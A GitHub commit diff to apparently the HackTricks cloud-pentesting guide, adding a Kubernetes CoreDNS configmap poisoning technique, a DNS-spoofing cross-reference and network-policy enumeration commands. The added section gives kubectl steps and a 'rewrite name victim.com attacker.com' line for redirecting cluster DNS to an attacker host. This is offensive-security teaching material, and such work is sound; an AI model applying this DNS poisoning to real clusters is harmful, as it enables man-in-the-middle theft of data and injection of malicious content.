Skip to content

Commit af708b2

Browse files
committed
a
1 parent 0b61708 commit af708b2

3 files changed

Lines changed: 82 additions & 3 deletions

File tree

src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md

Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -525,6 +525,48 @@ data:
525525
> However, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **doesn't work from a different acount**. But actually `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` works if you put the ARN of the cluster instead of just the name.\
526526
> To make `kubectl` work, just make sure to **configure** the **victims kubeconfig** and in the aws exec args add `--profile other_account_role` so kubectl will be using the others account profile to get the token and contact AWS.
527527

528+
### CoreDNS config map
529+
530+
If you have the permissions to modify the **`coredns` configmap** in the `kube-system` namespace, you can modify the address domains will be resolved to in order to be able to perform MitM attacks to **steal sensitive information or inject malicious content**.
531+
532+
The verbs needed are **`update`** and **`patch`** over the **`coredns`** configmap (or all the config maps).
533+
534+
A regular **coredns file** contains something like this:
535+
536+
```yaml
537+
data:
538+
Corefile: |
539+
.:53 {
540+
log
541+
errors
542+
health {
543+
lameduck 5s
544+
}
545+
ready
546+
kubernetes cluster.local in-addr.arpa ip6.arpa {
547+
pods insecure
548+
fallthrough in-addr.arpa ip6.arpa
549+
ttl 30
550+
}
551+
prometheus :9153
552+
hosts {
553+
192.168.49.1 host.minikube.internal
554+
fallthrough
555+
}
556+
forward . /etc/resolv.conf {
557+
max_concurrent 1000
558+
}
559+
cache 30
560+
loop
561+
reload
562+
loadbalance
563+
}
564+
```
565+
566+
An attacker could download it running `kubectl get configmap coredns -n kube-system -o yaml`, modify it adding something like `rewrite name victim.com attacker.com` so whenever `victim.com` is accessed actually `attacker.com` is the domain that is going to be accessed. And then apply it running `kubectl apply -f poison_dns.yaml`.
567+
568+
Another option is to just edit the file running `kubectl edit configmap coredns -n kube-system` and making changes.
569+
528570
### Escalating in GKE
529571

530572
There are **2 ways to assign K8s permissions to GCP principals**. In any case the principal also needs the permission **`container.clusters.get`** to be able to gather credentials to access the cluster, or you will need to **generate your own kubectl config file** (follow the next link).
@@ -763,6 +805,7 @@ https://github.com/aquasecurity/kube-bench
763805
- [**https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions**](https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions)
764806
- [**https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1**](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1)
765807
- [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers)
808+
- [**https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html**](https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html)
766809

767810
{{#include ../../../banners/hacktricks-training.md}}
768811

src/pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -95,7 +95,7 @@ spec:
9595

9696
If you **don't specify** the **nodePort** in the yaml (it's the port that will be opened) a port in the **range 30000–32767 will be used**.
9797

98-
### LoadBalancer <a href="#id-0d96" id="id-0d96"></a>
98+
### LoadBalancer
9999

100100
Exposes the Service externally **using a cloud provider's load balancer**. On GKE, this will spin up a [Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/) that will give you a single IP address that will forward all traffic to your service. In AWS it will launch a Load Balancer.
101101

@@ -107,7 +107,7 @@ List all LoadBalancers:
107107
kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,EXTERNAL-IP:.status.loadBalancer.ingress[*],PORT(S):.spec.ports[*].port,NODEPORT(S):.spec.ports[*].nodePort,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep LoadBalancer
108108
```
109109

110-
### External IPs <a href="#external-ips" id="external-ips"></a>
110+
### External IPs
111111

112112
> [!TIP]
113113
> External IPs are exposed by services of type Load Balancers and they are generally used when an external Cloud Provider Load Balancer is being used.

src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md

Lines changed: 37 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -247,7 +247,7 @@ As it was already mentioned, if you **compromise a pod in the same node of the D
247247

248248
You have a really nice **tool** and **tutorial** to test this in [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)
249249

250-
In our scenario, **download** the **tool** in the attacker pod and create a \*\*file named `hosts` \*\* with the **domains** you want to **spoof** like:
250+
In our scenario, **download** the **tool** in the attacker pod and create a **file named `hosts`** with the **domains** you want to **spoof** like:
251251

252252
```
253253
cat hosts
@@ -277,6 +277,42 @@ google.com. 1 IN A 1.1.1.1
277277
> If you try to create your own DNS spoofing script, if you **just modify the the DNS response** that is **not** going to **work**, because the **response** is going to have a **src IP** the IP address of the **malicious** **pod** and **won't** be **accepted**.\
278278
> You need to generate a **new DNS packet** with the **src IP** of the **DNS** where the victim send the DNS request (which is something like 172.16.0.2, not 10.96.0.10, thats the K8s DNS service IP and not the DNS server ip, more about this in the introduction).
279279
280+
## DNS Spoofing via coreDNS configmap
281+
282+
A user with write permissions over the configmap `coredns` in the kube-system namespace can modify the DNS responses of the cluster.
283+
284+
Check more information about this attack in:
285+
286+
{{#ref}}
287+
abusing-roles-clusterroles-in-kubernetes/README.md
288+
{{/ref}}
289+
290+
## Enumerating kubernetes network policies
291+
292+
Get configured **networkpolicies**:
293+
294+
```bash
295+
kubectl get networkpolicies --all-namespaces
296+
```
297+
298+
Get **Callico** network policies:
299+
300+
```bash
301+
kubectl get globalnetworkpolicy --all-namespaces
302+
```
303+
304+
Get **Cillium** network policies:
305+
306+
```bash
307+
kubectl get ciliumnetworkpolicy --all-namespaces
308+
```
309+
310+
Get other policy-related CRDs installed by your network plugin or security solution:
311+
312+
```bash
313+
kubectl get crd | grep -i policy
314+
```
315+
280316
## Capturing Traffic
281317

282318
The tool [**Mizu**](https://github.com/up9inc/mizu) is a simple-yet-powerful API **traffic viewer for Kubernetes** enabling you to **view all API communication** between microservices to help your debug and troubleshoot regressions.\

0 commit comments

Comments
 (0)